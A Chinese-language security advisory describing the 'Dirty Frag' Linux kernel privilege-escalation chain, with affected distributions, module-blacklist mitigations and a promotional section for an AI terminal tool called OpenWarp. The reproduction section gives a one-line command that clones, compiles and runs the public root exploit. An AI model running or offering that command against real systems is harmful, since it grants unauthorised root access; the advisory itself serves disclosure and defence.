当前位置:首页>Linux>【已复现】批量修复|Linux Kernel Dirty Frag本地权限提升漏洞

【已复现】批量修复|Linux Kernel Dirty Frag本地权限提升漏洞

  • 2026-10-11 08:07:36
【已复现】批量修复|Linux Kernel Dirty Frag本地权限提升漏洞

Linux Kernel 是全球服务器与云计算基础设施的运行基石。凭借开源透明的代码体系、高度活跃的社区生态以及跨平台的广泛兼容性,它被 Ubuntu、RHEL、CentOS、Fedora、openSUSE 等几乎所有主流发行版采用为底层内核,承载着企业核心业务系统、容器编排平台与虚拟化基础设施的日常运转。

正因部署规模庞大、渗透深度极高,Linux Kernel 层面的安全漏洞一旦出现,其影响往往不止于单一系统——它穿透发行版差异,直接作用于每一台暴露在风险之下的生产主机。

"Dirty Frag"便是这样一个不容忽视的威胁。研究人员在内核网络子系统中发现了两处独立的页缓存写入缺陷,并将其链式组合,构造出一条高度可靠的本地权限提升路径:

- xfrm-ESP 路径(esp4 / esp6):漏洞源于 2017 年的一次内核提交(commit cac2661c53f3),在此之后的内核版本均受波及,攻击面横跨近十年的发行版迭代。部分系统虽依赖 AppArmor 策略形成一定阻断,但这并非根本性的安全边界;

- RxRPC 路径(rxrpc):无需任何命名空间特权即可触发,专门覆盖 ESP 路径在受限环境下失效的场景——两条路径相互兜底,确保对主流发行版的近乎全面渗透。

漏洞的利用方式同样值得警惕:攻击者无需竞争条件、无需反复重试,只需构造特定网络数据包,即可向 setuid 二进制文件等敏感目标的页缓存中写入受控数据,一次执行直接完成本地提权,获取 root 权限。

目前,该漏洞的公开 PoC 已在网络上流传,利用门槛极低。建议所有运行受影响内核版本的用户立即评估暴露风险,优先部署模块禁用等临时缓解措施,并密切跟进各发行版官方安全补丁的发布动态,在第一时间完成内核升级。

0x00 漏洞概述

2026 年 5 月 7 日,韩国安全研究员 Hyunwoo Kim(@v4bel) 在禁令破裂后公开披露了一个被命名为 "Dirty Frag" 的 Linux 内核本地权限提升漏洞链。该漏洞由两个独立的页面缓存写入原语(Page-Cache Write Primitive)组合而成:

CVE 编号
漏洞组件
引入时间
CVSS 3.1
CVE-2026-43284
xfrm-ESP(IPsec ESP 子系统)
2017 年 1 月
7.8(HIGH)
CVE-2026-43500
RxRPC(AF_RXRPC 传输协议)
2023 年 6 月
7.8(HIGH)

任何拥有本地 Shell 访问权限的普通用户,均可通过单条命令直接获取 root 权限。漏洞利用具有确定性,不依赖竞态条件,成功率极高。


0x01 漏洞背景

1.1 "Dirty" 系列漏洞家族

Dirty Frag 属于 Linux 内核中一类经典的页面缓存污染漏洞,其前辈包括:

  • Dirty COW(CVE-2016-5195):利用写时复制(Copy-on-Write)竞态条件写入只读映射
  • Dirty Pipe(CVE-2022-0847):通过 pipe 机制覆写页面缓存中的只读文件
  • Copy Fail(CVE-2026-31431):同类页面缓存写入原语的另一变种

Dirty Frag 与上述漏洞同属一个漏洞类别,但作者自述其攻击面聚焦于内核 struct sk_buff 的 frag(分片)成员,故得名 "Dirty Frag"。

1.2 漏洞发现者

Hyunwoo Kim 此前发现过多个 Linux 内核提权漏洞,在内核 namespace 和网络子系统安全研究领域具有丰富经验。本次公开披露时,研究员同步发布了技术写作和 PoC 利用代码。


0x02 漏洞利用特点

与传统内核提权漏洞相比,Dirty Frag 具备以下显著特点:

特性
Dirty Frag
传统竞态条件漏洞
确定性
确定性逻辑漏洞,无需竞争时间窗口
依赖竞态,成功率不稳定
成功率
极高(接近 100%)
通常较低,需反复尝试
稳定性
失败不触发内核崩溃(Kernel Panic)
失败可能导致系统崩溃
权限要求
仅需普通本地用户
部分需要特殊能力(Capabilities)
利用方式
单条命令完成提权
通常需要复杂利用脚本
绕过缓解
绕过 Copy Fail(algif_aead 黑名单)缓解
依据漏洞不同有所差异

0x03 受影响版本

3.1 内核版本范围

  • CVE-2026-43284(ESP):2017 年 1 月引入,覆盖约 9 年的内核版本
  • CVE-2026-43500(RxRPC):2023 年 6 月引入,覆盖约 3 年的内核版本

3.2 受影响发行版(已确认)

发行版
内核版本
状态
Ubuntu 24.04.4 LTS
6.17.0-23-generic
已发布补丁
RHEL 10.1
6.12.0-124.49.1.el10_1
补丁发布中
CentOS Stream 10
-
受影响
AlmaLinux 10
-
受影响
Fedora 44
-
受影响
openSUSE Tumbleweed
7.0.2-1-default
受影响
Arch Linux
最新版
受影响
WSL2(Windows 子系统)
-
受影响
OpenShift 4
-
受影响(评估中)

注:强化容器环境(如启用了默认 seccomp profile 的 Kubernetes Pod)利用难度较高,但虚拟机和配置宽松的容器环境风险依然显著。


0x04 漏洞复现

4.1 使用低权限用户或者创建新的低权限用户

 使用系统已有低权限用户或者创建一个新的低权限用户:

useradd -s /bin/bash -m testpasswd test

4.2 执行如下命令复现

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

0x05 缓解措施与防御建议

5.1 临时缓解:禁用受影响内核模块(推荐立即执行)

# 方法一:禁用 esp4、esp6、rxrpc 模块并清理页面缓存sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \    > /etc/modprobe.d/dirtyfrag.conf; \    rmmod esp4 esp6 rxrpc 2>/dev/null; \    echo 3 > /proc/sys/vm/drop_caches; \    true"# 方法二:更新 initramfs(使模块禁用在重启后持久生效)update-initramfs -u        # Debian/Ubuntudracut -f                  # RHEL/Fedora/CentOS# ⚠️ 注意:禁用 esp4/esp6 将中断基于 IPsec 的 VPN 功能#          禁用 rxrpc 将影响 AFS(Andrew File System)挂载

5.2 使用OpenWarp进行批量自动修复(一句话进行修复)

   由于 Dirty Frag 漏洞的影响面过广,运维工程师需要在最短时间内登上受影响的生产主机,确认内核版本、卸载 esp4/esp6/rxrpc 模块、推送内核补丁、逐台验证修复结果,这对于运维工程师是一个很大的挑战,我们可以使用OpenWarp 来进行批量执行修复,其将本地 AI 辅助、多目标 SSH 会话管理与可复用的处置 Workflow 集成于同一个终端界面,让运维工程师在高压的应急响应中始终保持清晰的操作节奏。更关键的是,OpenWarp 支持接入本地部署的大模型,目标机器的内核信息、业务配置、命令输出全程不经过任何云端服务器——修漏洞的工具本身,不会成为新的风险敞口,可直接通过访问“https://openwarp.zerx.dev/”进行下载。

1)下载完毕并配置好相关模型后,可直接通过如下提示词让OpenWarp为我们自动进行修复:

请调研Dirty Frag漏洞,执行缓解修复措施,修复Dirty Frag漏洞,需要联网查询最新信息

2)随后OpenWarp会按照提示词指令完成漏洞修复工作,如下图所示:

最后,我们再次通过执行“./exp”命令,进行漏洞验证,发现OpenWarp已为我们成功进行修复,经验证,修复后无法提权。

0x06 总结

Dirty Frag 是近年来 Linux 内核本地权限提升漏洞中影响面最广、利用成本最低的漏洞之一。其核心设计优雅且危险:通过复用 splice(2) 将页面缓存引用注入网络加密路径,利用内核原地解密的"副作用"实现对任意只读文件的隐蔽篡改,最终以确定性方式完成提权。

漏洞在内核中潜伏长达 9 年(ESP 路径),暗示此类网络栈与文件系统交叉边界上的安全问题仍有大量未被充分审计的空间。Dirty Frag 的双路径设计(ESP + RxRPC 互补)确保了对几乎所有主流 Linux 发行版的广泛覆盖,给企业修复工作带来相当压力。

建议各运维团队立即评估内核版本,优先通过禁用受影响模块完成临时缓解,并在补丁可用后第一时间使用OpenWarp进行升级。


参考资料

  • Dirty Frag (CVE-2026-43284) Linux Privilege Escalation — Wiz Blog
  • RHSB-2026-003 Dirty Frag — Red Hat Customer Portal
  • Dirty Frag Linux kernel local privilege escalation vulnerability mitigations — Ubuntu
  • Dirty Frag (CVE-2026-43284, CVE-2026-43500) FAQ — Tenable
  • Dirty Frag Mitigation and Kernel Update — CloudLinux
  • Active attack: Dirty Frag expands post-compromise risk — Microsoft Security Blog
  • Linux Kernel Dirty Frag LPE Exploit — The Hacker News
  • Dirty Frag 漏洞链曝光 — IT之家
  • Dirty Frag Linux 内核提权漏洞安全风险通告 — 安全内参

最新文章

随机文章